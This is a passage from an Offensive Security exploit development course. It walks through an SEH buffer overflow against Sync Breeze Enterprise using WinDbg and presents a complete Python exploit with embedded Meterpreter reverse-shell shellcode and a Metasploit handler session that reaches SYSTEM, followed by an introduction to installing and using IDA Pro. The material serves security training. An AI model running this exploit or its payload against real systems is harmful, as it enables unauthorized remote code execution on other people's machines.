eip=1015a2f0 esp=018ff438 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax
Listing 138 - Setting and hitting the breakpoint at the P/P/R

Let’s single-step through the POP instructions and inspect the address we will be returning into:
0:008> r
eax=00000000 ebx=00000000 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=1015a2f0 esp=018ff438 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58 pop eax

0:008> t
eax=77383b02 ebx=00000000 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=018ff43c ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b pop ebx

0:008> t
eax=77383b02 ebx=018ff540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=018ff440 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3 ret

0:008> dd poi(esp) L8
018fff54 41414141 1015a2f0 43434343 43434343
018fff64 43434343 43434343 43434343 43434343

0:008> t
eax=77383b02 ebx=018ff540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=018fff54 esp=018ff444 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
018fff54 41 inc ecx

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 123
Windows User Mode Exploit Development

Listing 139 - Single-stepping through the P/P/R instruction sequence

Great! Listing 139 shows that after executing the RET instruction, we returned into the stack
within our controlled buffer right before our _except_handler address. This happens because the
EstablisherFrame points to the beginning of the _EXCEPTION_REGISTRATION_RECORD structure,
which starts with the Next member followed by the _except_handler address.
In this section, we leveraged the narly extension to list the protections on the currently loaded
modules and find a suitable module to search for a P/P/R instruction sequence. We also covered
the concept of scripting inside WinDbg and wrote a simple script to automate the process of
searching for P/P/R instruction sequences.
Finally, we updated our proof of concept with the new P/P/R instruction sequence and confirmed,
inside the debugger, that we can successfully redirect the execution flow to our controlled buffer.

4.5.4.1 Exercises
1. Use narly to list the protections of all loaded modules.
2. Write a WinDbg script that will search for P/P/R instruction sequences.
3. Change the previously-written script to accept the start and end addresses as arguments
rather than hardcoding them.
4. Can you modify the script to avoid searching for the POP ESP opcode?
5. Update the previous proof of concept and overwrite the SEH with the address of a P/P/R
instruction sequence.
6. Single-step through the sequence and determine where the execution flow will end up after
the RET instruction.

4.5.5 Island-Hopping in Assembly


As we discussed in the theory section of this module, the EXCEPTION_REGISTRATION_RECORD
structure begins with the Next member. Once we redirect execution to this member on the stack
with a P/P/R sequence, the CPU will execute the assembly instructions generated by the opcodes
that compose the P/P/R memory address. Let’s inspect the resulting assembly instruction inside
WinDbg.
0:008> u eip L8
018fff54 41 inc ecx
018fff55 41 inc ecx
018fff56 41 inc ecx
018fff57 41 inc ecx
018fff58 f0a215104343 lock mov byte ptr ds:[43431015h],al
018fff5e 43 inc ebx
018fff5f 43 inc ebx
018fff60 43 inc ebx
0:008> dd 0x43431015 L4
43431015 ???????? ???????? ???????? ????????
Listing 140 - Assembly instruction generated from the P/P/R address opcodes

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 124
Windows User Mode Exploit Development

Listing 140 shows that the bytes composing the P/P/R address are translated to a lock mov
byte120 instruction when executed as code. This instruction uses part of our buffer as a
destination address (43431015h) to write the content of the AL register. Because this memory
address is not mapped, executing this instruction will trigger another access violation and break
our exploit.
We can overcome this by using the first four bytes of the Next structure exception handler (NSEH)
to assemble an instruction that will jump over the current SEH and redirect us into our fake
shellcode located after the P/P/R address. This is known as a “short jump” in assembly.

In assembly, short jumps are also known as short relative jumps. These jump
instructions can be relocated anywhere in memory without requiring a change of
opcode. The first opcode of a short jump is always 0xEB and the second opcode
is the relative offset, which ranges from 0x00 to 0x7F for forward short jumps,
and from 0x80 to 0xFF for backwards short jumps.

After single-stepping through the P/P/R instructions, we will use the a121 command to assemble
the short jump and obtain its opcodes:
0:008> r
eax=77383b02 ebx=018ff540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=018fff54 esp=018ff444 ebp=018ff458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
018fff54 41 inc ecx

0:008> dds eip L4


018fff54 41414141
018fff58 1015a2f0 libspp!pcre_exec+0x16460
018fff5c 43434343
018fff60 43434343

0:008> a
018fff54 jmp 0x018fff5c
jmp 0x018fff5c
018fff56

0:008> u eip L1
018fff54 eb06 jmp 018fff5c

0:008> dds eip L4


018fff54 414106eb
018fff58 1015a2f0 libspp!pcre_exec+0x16460
018fff5c 43434343
018fff60 43434343
Listing 141 - Assembling and getting the opcodes for the short jump

120
(LOCK - x86 Instruction Set Reference), https://c9x.me/x86/html/file_module_x86_id_159.html
121
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/a--assemble-

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 125
Windows User Mode Exploit Development

The assemble command takes an address as an argument, which is where the


instructions should be assembled in memory. Without arguments, WinDbg will
assemble at the location of the instruction pointer.

As shown in the listing above, the offset for the jump is six bytes rather than four (the length of
the P/P/R address). This is because the offset is calculated from the beginning of the jump
instruction, which includes the 0xEB and the offset itself.
Now that we have the short jump, let’s update our proof of concept to include it:

try:
server = sys.argv[1]
port = 9121
size = 1000

inputBuffer = b"\x41" * 124


inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x41" * (size - len(inputBuffer))
Listing 142 - seh_overflow_0x06.py: Jumping over the current SEH

After executing the updated proof of concept and generating an access violation in WinDbg, we
can set a breakpoint at the P/P/R instruction sequence and let the debugger continue until it hits
our breakpoint. Next, we’ll single-step through the POP, POP, RET instructions and reach our short
jump:
0:007> r
eax=77f16b12 ebx=0132f440 ecx=1015a2f0 edx=77f16b30 esi=00000000 edi=00000000
eip=0132ff54 esp=0132f344 ebp=0132f358 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0132ff54 90 nop

0:007> t
eax=77f16b12 ebx=0132f440 ecx=1015a2f0 edx=77f16b30 esi=00000000 edi=00000000
eip=0132ff55 esp=0132f344 ebp=0132f358 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0132ff55 90 nop

0:007> t
eax=77f16b12 ebx=0132f440 ecx=1015a2f0 edx=77f16b30 esi=00000000 edi=00000000
eip=0132ff56 esp=0132f344 ebp=0132f358 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0132ff56 eb06 jmp 0132ff5e

0:007> dd 0132ff5e - 0x06


0132ff58 1015a2f0 41414141 41414141 41414141
0132ff68 41414141 41414141 41414141 41414141
0132ff78 41414141 41414141 41414141 41414141
0132ff88 41414141 41414141 41414141 41414141
0132ff98 41414141 41414141 41414141 41414141
0132ffa8 41414141 41414141 41414141 41414141

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 126
Windows User Mode Exploit Development

0132ffb8 41414141 41414141 41414141 41414141


0132ffc8 41414141 41414141 41414141 41414141
Listing 143 - Jumping over the current SEH in WinDbg

The listing above confirms that if we execute the short jump, we will indeed land in our buffer
right after the SEH.
After carefully reviewing the memory pointed to by the instruction pointer, we notice that we are
very close to reaching the beginning of our stack, as shown below:
0:007> dd eip L30
0132ff56 a2f006eb 41411015 41414141 41414141
0132ff66 41414141 41414141 41414141 41414141
0132ff76 41414141 41414141 41414141 41414141
0132ff86 41414141 41414141 41414141 41414141
0132ff96 41414141 41414141 41414141 41414141
0132ffa6 41414141 41414141 41414141 41414141
0132ffb6 41414141 41414141 41414141 41414141
0132ffc6 41414141 41414141 41414141 41414141
0132ffd6 41414141 ff004141 008d0132 ffff77ed
0132ffe6 6c77ffff 000077f1 00000000 3e100000
0132fff6 7170005b 000000a0 ???????? ????????
01330006 ???????? ???????? ???????? ????????

0:007> !teb
TEB at 7ffd8000
ExceptionList: 0132f34c
StackBase: 01330000
StackLimit: 0132e000
...
Listing 144 - Reaching the beginning of our stack

This amount of space may fit a small shellcode, but we would certainly prefer reverse-shell
shellcode in our exploit. Our proof of concept sends a large amount of data (1000 bytes), so let’s
search the stack and see if we can find it.
Before searching, let’s update our proof of concept and add a shellcode variable containing
dummy shellcode:
...
try:
server = sys.argv[1]
port = 9121
size = 1000

shellcode = b"\x43" * 400

inputBuffer = b"\x41" * 124


inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode
...
Listing 145 - seh_overflow_0x07.py: Sending a fake shellcode to locate it on the stack

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 127
Windows User Mode Exploit Development

Listing 145 shows that our shellcode variable contains a hex character that is not present in other
parts of our buffer.
Running our latest proof of concept, we can perform a search for the NOP instructions followed
by the bytes contained in our shellcode variable right after taking our short jump.
0:010> t
eax=77383b02 ebx=01aef540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=01aeff56 esp=01aef444 ebp=01aef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01aeff56 eb06 jmp 01aeff5e

0:010> t
eax=77383b02 ebx=01aef540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=01aeff5e esp=01aef444 ebp=01aef458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01aeff5e 90 nop

0:010> !teb
TEB at 00392000
ExceptionList: 01aef44c
StackBase: 01af0000
StackLimit: 01aee000
...

0:010> s -b 01aee000 01af0000 90 90 90 90 43 43 43 43 43 43 43 43


01aefc70 90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43 ....CCCCCCCCCCCC
Listing 146 - Finding our fake shellcode on the stack

Very nice! We found our shellcode on the stack starting from 0x01aefc74. Before proceeding, we
want to confirm that our shellcode is not truncated in any way. Dumping the full length of the
shellcode as DWORDs reveals our entire buffer:
0:010> dd 01aefc70 L65
01aefc70 90909090 43434343 43434343 43434343
01aefc80 43434343 43434343 43434343 43434343
...
01aefdf0 43434343 43434343 43434343 43434343
01aefe00 43434343
Listing 147 - Confirming that the entire fake shellcode is on the stack

Our next step is to determine the offset from our current stack pointer to the beginning of our
shellcode. This will allow us to use the limited space we currently have to assemble a set of
instructions that will allow us to “island hop”, redirecting execution to our shellcode.
To determine this, we can simply use ? to subtract between the memory address of the start of
our shellcode (0x01aefc74) and the current value of the stack pointer.
0:010> ? 01aefc74 - @esp
Evaluate expression: 2096 = 00000830
Listing 148 - Calculating the offset from ESP to our fake shellcode

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 128
Windows User Mode Exploit Development

To verify the consistency of the offset, we should restart the application and run
our exploit multiple times. If possible, we should install the vulnerable application
on different machines as well.

If the offset changes slightly each time we launch our exploit, we could introduce
a bigger NOP sled, placing our shellcode further in our buffer.

Using the limited space available after our short jump, let’s assemble a few instructions to
increase the stack pointer by 0x830 bytes followed by a “jmp esp” to jump to our shellcode next.
We can accomplish the first step by using an “add esp, 0x830” instruction. If we input this
instruction into msf-nasm_shell, however, we notice that it generates null bytes in the opcodes
due to the large value:
kali@kali:~$ msf-nasm_shell
nasm > add esp, 0x830
00000000 81C430080000 add esp,0x830
Listing 149 - Getting null opcodes when using a large value with an ADD operation

In order to avoid null bytes, we could use smaller jumps (of less than 0x7F122) until we reach the
desired offset. While this is certainly one option, the assembly language provides better
alternatives.
Instead of performing an ADD operation on the ESP register, we can reference the SP register in
our assembly instruction to do arithmetic operations on the lower 16 bits. Let’s try to generate the
opcodes for this instruction and confirm it does not contain any bad characters. We will also
generate the opcodes for a “jmp esp” instruction, which we’ll use to jump to our shellcode right
after the stack pointer has been adjusted.
nasm > add sp, 0x830
00000000 6681C43008 add sp,0x830

nasm > jmp esp


00000000 FFE4 jmp esp
Listing 150 - Getting the opcodes for the required assembly instructions

We then update our proof of concept to include the ADD assembly instruction, followed by a “jmp
esp” to redirect the execution flow to our shellcode, as shown in Listing 151.
...
try:
server = sys.argv[1]
port = 9121
size = 1000

shellcode = b"\x90" * 8
shellcode+= b"\x43" * (400 - len(shellcode))

122
(Wikipedia - Signed number representations, 2020), https://en.wikipedia.org/wiki/Signed_number_representations

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 129
Windows User Mode Exploit Development

inputBuffer = b"\x41" * 124


inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * 2
inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830
inputBuffer+= b"\xff\xe4" # jmp esp
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode
...
Listing 151 - seh_overflow_0x08.py: Increasing the stack pointer to reach our shellcode

After running our latest proof of concept, we will single-step through the ADD operation and
confirm that our stack alignment was successful before executing the jump:
0:010> t
eax=77383b02 ebx=01caf540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=01caff5e esp=01caf444 ebp=01caf458 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01caff5e 6681c43008 add sp,830h

0:010> t
eax=77383b02 ebx=01caf540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=01caff63 esp=01cafc74 ebp=01caf458 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
01caff63 ffe4 jmp esp {01cafc74}

0:010> dd @esp L4
01cafc74 90909090 90909090 43434343 43434343

0:010> t
eax=77383b02 ebx=01caf540 ecx=1015a2f0 edx=77383b20 esi=00000000 edi=00000000
eip=01cafc74 esp=01cafc74 ebp=01caf458 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
01cafc74 90 nop
Listing 152 - Verifying that ESP points to our shellcode before the JMP ESP instruction

Listing 152 confirms that we successfully aligned the stack pointer to the address of our
shellcode variable. We are ready for the final step of the exploit development process!

4.5.5.1 Exercises
1. Assemble a short jump inside WinDbg and use the opcodes to update the proof of concept.
2. Run the updated proof of concept, ensuring a successful jump over the SEH.
3. Inspect the space available for the shellcode after the short jump and confirm the space
restriction.
4. Update the proof of concept to include a shellcode as part of the end buffer and attempt to
locate it inside WinDbg.
5. Restart the application multiple times and confirm that the offset from the stack pointer to
the shellcode buffer does not change.
6. Try to find alternative instructions that will align the stack pointer with the beginning of the
shellcode.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 130
Windows User Mode Exploit Development

7. Update the proof of concept to reach the shellcode buffer.

4.5.6 Obtaining a Shell


As a final step, we will use msfvenom to generate a Meterpreter123 payload, excluding the bad
characters we discovered earlier. We will also increase the size of our NOP slide, ensuring the
shellcode decoder has space on the stack. This avoids mangling our shellcode.
The final exploit code is shown in Listing 153 below:
#!/usr/bin/python
import socket
import sys
from struct import pack

try:
server = sys.argv[1]
port = 9121
size = 1000

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.5 LPORT=443 -b


"\x00\x02\x0A\x0D\xF8\xFD" -f python -v shellcode
shellcode = b"\x90" * 20
shellcode += b""
shellcode += b"\xdb\xdd\xb8\xb3\xe9\xc8\x0b\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x56\x31\x43\x18\x03\x43\x18"
shellcode += b"\x83\xeb\x4f\x0b\x3d\xf7\x47\x4e\xbe\x08\x97"
shellcode += b"\x2f\x36\xed\xa6\x6f\x2c\x65\x98\x5f\x26\x2b"
shellcode += b"\x14\x2b\x6a\xd8\xaf\x59\xa3\xef\x18\xd7\x95"
shellcode += b"\xde\x99\x44\xe5\x41\x19\x97\x3a\xa2\x20\x58"
shellcode += b"\x4f\xa3\x65\x85\xa2\xf1\x3e\xc1\x11\xe6\x4b"
shellcode += b"\x9f\xa9\x8d\x07\x31\xaa\x72\xdf\x30\x9b\x24"
shellcode += b"\x54\x6b\x3b\xc6\xb9\x07\x72\xd0\xde\x22\xcc"
shellcode += b"\x6b\x14\xd8\xcf\xbd\x65\x21\x63\x80\x4a\xd0"
shellcode += b"\x7d\xc4\x6c\x0b\x08\x3c\x8f\xb6\x0b\xfb\xf2"
shellcode += b"\x6c\x99\x18\x54\xe6\x39\xc5\x65\x2b\xdf\x8e"
shellcode += b"\x69\x80\xab\xc9\x6d\x17\x7f\x62\x89\x9c\x7e"
shellcode += b"\xa5\x18\xe6\xa4\x61\x41\xbc\xc5\x30\x2f\x13"
shellcode += b"\xf9\x23\x90\xcc\x5f\x2f\x3c\x18\xd2\x72\x28"
shellcode += b"\xed\xdf\x8c\xa8\x79\x57\xfe\x9a\x26\xc3\x68"
shellcode += b"\x96\xaf\xcd\x6f\xaf\xb8\xed\xa0\x17\xa8\x13"
shellcode += b"\x41\x67\xe0\xd7\x15\x37\x9a\xfe\x15\xdc\x5a"
shellcode += b"\xfe\xc3\x48\x51\x68\x2c\x24\x13\x6d\xc4\x36"
shellcode += b"\xdc\x6c\xaf\xbf\x3a\x3e\x9f\xef\x92\xff\x4f"
shellcode += b"\x4f\x43\x68\x9a\x40\xbc\x88\xa5\x8b\xd5\x23"
shellcode += b"\x4a\x65\x8d\xdb\xf3\x2c\x45\x7d\xfb\xfb\x23"
shellcode += b"\xbd\x77\x09\xd3\x70\x70\x78\xc7\x65\xe7\x82"
shellcode += b"\x17\x76\x82\x82\x7d\x72\x04\xd5\xe9\x78\x71"
shellcode += b"\x11\xb6\x83\x54\x22\xb1\x7c\x29\x12\xc9\x4b"
shellcode += b"\xbf\x1a\xa5\xb3\x2f\x9a\x35\xe2\x25\x9a\x5d"
shellcode += b"\x52\x1e\xc9\x78\x9d\x8b\x7e\xd1\x08\x34\xd6"
shellcode += b"\x85\x9b\x5c\xd4\xf0\xec\xc2\x27\xd7\x6e\x04"

123
(Metasploit Unleashed), https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 131
Windows User Mode Exploit Development

shellcode += b"\xd7\xa5\x58\xad\xbf\x55\xd9\x4d\x3f\x3c\xd9"
shellcode += b"\x1d\x57\xcb\xf6\x92\x97\x34\xdd\xfa\xbf\xbf"
shellcode += b"\xb0\x49\x5e\xbf\x98\x0c\xfe\xc0\x2f\x95\xf1"
shellcode += b"\xbb\x40\x2a\xf2\x3b\x49\x4f\xf3\x3b\x75\x71"
shellcode += b"\xc8\xed\x4c\x07\x0f\x2e\xeb\x18\x3a\x13\x5a"
shellcode += b"\xb3\x44\x07\x9c\x96"
shellcode+= b"\x43" * (400 - len(shellcode))

inputBuffer = b"\x41" * 124


inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * 2
inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830
inputBuffer+= b"\xff\xe4" # jmp esp
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode

header = b"\x75\x19\xba\xab"
header += b"\x03\x00\x00\x00"
header += b"\x00\x40\x00\x00"
header += pack('<I', len(inputBuffer))
header += pack('<I', len(inputBuffer))
header += pack('<I', inputBuffer[-1])

buf = header + inputBuffer

print("Sending evil buffer...")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")
Listing 153 - seh_overflow_0x09.py: Final exploit code

With the shellcode generated and our final exploit ready, let’s restart the vulnerable service, attach
WinDbg, set up a Metasploit handler to capture our shell, and run our final exploit.
This time, however, after WinDbg catches the access violation we will simply let the debugger
continue execution without any breakpoints as shown below:
(424.95c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze
Enterprise\bin\libpal.dll
eax=41414141 ebx=0195fa1c ecx=0195ff18 edx=0195f9d4 esi=0195ff18 edi=0195fb20
eip=00782a9d esp=0195f9a8 ebp=0195fec8 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
libpal!SCA_ConfigObj::Deserialize+0x1d:
00782a9d ff5024 call dword ptr [eax+24h] ds:0023:41414165=????????

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 132
Windows User Mode Exploit Development

0:008> g
Listing 154 - Resuming execution after the access violation inside WinDbg

Once execution resumes, we will switch to our Kali machine where our Metasploit handler was
able to catch our reverse meterpreter payload.
kali@kali:~$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD
windows/meterpreter/reverse_tcp; set LHOST 192.168.119.5; set LPORT 443; exploit"

PAYLOAD => windows/meterpreter/reverse_tcp


LHOST => 192.168.51.128
LPORT => 443
[*] Started reverse TCP handler on 192.168.118.5:443
[*] Sending stage (180291 bytes) to 192.168.120.10
[*] Meterpreter session 1 opened (192.168.118.5:443 -> 192.168.120.10:49994)

meterpreter > getuid


Server username: NT AUTHORITY\SYSTEM
Listing 155 - Obtaining a reverse shell on the remote system

Excellent! Our final exploit provides us with a working reverse meterpreter shell on the target
system. As a final step, we can restart the service and run the exploit without a debugger
attached to verify that everything still works as expected.

4.5.6.1 Exercises
1. Generate shellcode using msfvenom and update the previous proof of concept with it.
2. Run the final exploit and obtain a reverse meterpreter shell on the target.

4.5.6.2 Extra Mile


1. Install the Disk Pulse application, which can be found under
C:\Installers\seh_overflow\extra_mile\diskpulseent_setup_v10.0.12.exe. Enable the web
server by opening the Disk Pulse Client, clicking Options, going to the Server menu, and
ticking the Enable Web Server on port option.
2. Run the provided proof of concept and confirm that you can overwrite the SEH with
0x41414141.
3. Go through each step of the SEH exploitation process and write a successful exploit for Disk
Pulse.
4. Which exception handler is overwritten in this application?

4.5.6.3 Extra Mile


1. Install the KNet web server, which can be found under
C:\Installers\seh_overflow\extra_mile\02\KNet_1.04b.exe. Start the web server by running
the KNet application as administrator, clicking Open and selecting the
C:\Installers\seh_overflow\extra_mile\02\index.html file twice.
2. Run the provided proof of concept and confirm that you can overwrite the SEH with
0x41414141.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 133
Windows User Mode Exploit Development

3. Go through each step of the SEH exploitation process and write a successful exploit for the
KNet web server.

4.6 Wrapping Up
In this module, we exploited a known SEH overflow vulnerability in the Sync Breeze application.
We studied the theory behind Microsoft Windows’ structured exception handler to gain a good
understanding of how it works and the structures it relies upon. This theory provided a
foundational understanding of SEH overflows and detailed why we can effectively exploit them.
Our exploit development process covered several steps beyond those covered in previous
modules. We explored various structures used by the exception handler, wrote a script to search
for instruction sequences, and jumped between different sections of our buffer, finally resulting in
a stable exploit for the vulnerable application.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 134
Windows User Mode Exploit Development

5 Introduction to IDA Pro


Source code is often not available during exploit development. This is not a problem during a
simple buffer overflow - however, in more complicated scenarios, reaching the vulnerable code
path requires us to craft very specific input. We also need to perform an in-depth analysis when
issues arise with our exploit to work out what went wrong.
In cases where more detailed information about the code flow is needed, a debugger alone is not
enough. WinDbg displays all the instructions in plain ordered assembly rather than an intuitive
graphical view of the code flow, making it more difficult for exploit developers to understand a
target application’s logic.
Vulnerable applications written in a high-level language like C# or Java can easily be decompiled
back to pseudo-code or a form very close to the original source code. When the target application
is written in a lower-level language, like C or C++, there is no easy way of reversing the
compilation process and therefore we need a disassembler.
A disassembler124 program analyzes a binary and converts the compiled code back to its
assembly representation. The best disassemblers also try to visually arrange the assembly code
in a more intuitive way.
We typically use a disassembler in tandem with a debugger during reverse engineering and more
advanced exploit development. We can increase our efficiency by combining static and dynamic
analysis.
The industry standard disassembler is IDA Pro.125 Another popular disassembler is Ghidra;126
some lesser-known alternatives are Radare127 and Binary Ninja.128
This module provides an introduction to IDA Pro, which we will be using in multiple modules of
this course.

5.1 IDA Pro 101


IDA Pro is a tried-and-true disassembler with strong product development behind it, which is
reflected in its price. The IDA Pro disassembler supports more than 60 families of processors.
The program also contains a debugger and an even more powerful decompiler for six different
platforms. A decompiler can analyze the machine code and provide a C-style code that
represents the given machine code.
There are a variety of different license options for IDA Pro, all of which cost 1000 USD or more;
the decompilers are optional additions. A new version of IDA, called IDA Home, is also available at
a reduced price.

124
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Disassembler
125
(Hex-Rays, 2020), https://www.hex-rays.com/products/ida/
126
(Ghidra, 2020), https://ghidra-sre.org/
127
(Radare2, 2020), https://rada.re/n/
128
(Binary Ninja, 2020), https://binary.ninja/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 135
Windows User Mode Exploit Development

We are going to use IDA Freeware,129 a version that is not for commercial use and does not
receive any updates or support. IDA Freeware nevertheless provides the features we need to
perform reverse engineering in this course.
In the next few sections, we will explain the program’s installation and basic usage.

5.1.1 Installing IDA Pro


IDA Pro and IDA Freeware can disassemble both 32-bit and 64-bit applications, but the
application itself is only available in 64-bit. Due to that and for us to retain any analyzed files, we
will install IDA Freeware on our Kali machine.

To avoid confusion throughout this module and others, we will simply refer to
any version of IDA as IDA Pro instead of being specific about the license version.

Please note that the Kali version must be 64-bit. We can download the installer
(idafree70_linux.run) from Hex-Rays130 or the Windows 10 machine (C:\Installers).
After downloading the installer, we’ll make it executable and install it as shown in Listing 156.
kali@kali:~/Downloads$ chmod +x idafree70_linux.run

kali@kali:~/Downloads$ sudo ./idafree70_linux.run


Listing 156 - Installing IDA Free

After the quick installation process, we will create a symbolic link to the ida64 binary in the
/usr/bin folder as shown in Listing 157. Next, we’ll create the symbolic link and launch IDA Pro by
running ida64.
kali@kali:~/Downloads$ sudo ln -s /opt/idafree-7.0/ida64 /usr/bin

kali@kali:~/Downloads$ ida64
Listing 157 - Creating a symlink to ida64

Now that installation is complete, we are ready to cover the basics of the interface.

5.1.1.1 Exercise
1. Download and install IDA Pro on your Kali VM.

5.1.2 The IDA Pro User Interface


This section will cover how we can use IDA Pro to disassemble and save files along with the main
features of the UI.

129
(Hex-Rays, 2020), https://www.hex-rays.com/products/ida/support/download_freeware/
130
(Hex-Rays, 2020), https://www.hex-rays.com/products/ida/support/download_freeware/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 136
Windows User Mode Exploit Development

Upon opening IDA Pro, we are presented with the window shown in Figure 29. From here, we can
either start a new analysis or open a previous IDA Pro database, which is the format IDA Pro uses
to save analyzed files.

Figure 29: Opening a file with IDA Pro

Any previously analyzed files will be listed in a text box at the bottom, allowing us to quickly
continue our work.
Let’s start a new analysis and disassemble a file. We can copy notepad.exe from
C:\Windows\System32 on the Windows 10 client to our Kali VM. Switching to IDA Pro, we’ll select
New and choose notepad.exe from the file dialog.
Next, we will be prompted to select the file type through the dialog shown in Figure 30.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 137
Windows User Mode Exploit Development

Figure 30: Selecting the file type

For 32-bit Windows executables and Dynamic Link Libraries (DLLs), we should select the
“Portable executable for 80386” option shown above. This is a common denominator for all 32bit
x86 processors.131
Once selected, IDA Pro starts performing automatic analysis on the chosen binary. How long this
analysis takes may vary from several seconds to several minutes, depending on the amount of
code included in the binary and its complexity. Once analysis is complete, the entry point132 of the
file is shown in the disassembly window. Occasionally, a message will be displayed about “ntapi”,
which is related to symbols133 and can be safely ignored.

Like WinDbg, IDA Pro can download and use symbols from the Microsoft server
while disassembling the binary. This is only natively available if IDA Pro is
installed on Windows. For versions other than IDA Freeware, it’s possible to set
up a symbols server on a Windows computer with a bundled Win32_debugger
application.

131
(Wikipedia, 2020), common denominator for all 32bit x86 processors
132
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Entry_point
133
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-symbols

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 138
Windows User Mode Exploit Development

After analyzing a file in IDA Pro, we need to know how to save and close our work, which can be a
bit confusing at first. When we select Close or Exit from the File menu, we are presented with
multiple options, as shown in Figure 31.

Figure 31: Options to save IDA Pro database

A file needs to be packed properly to be successfully saved to an idb database file, so the Pack
database option should always be checked if we don’t want to lose our changes.
If, on the other hand, we do not want to save our changes, we would select DON’T SAVE the
database.
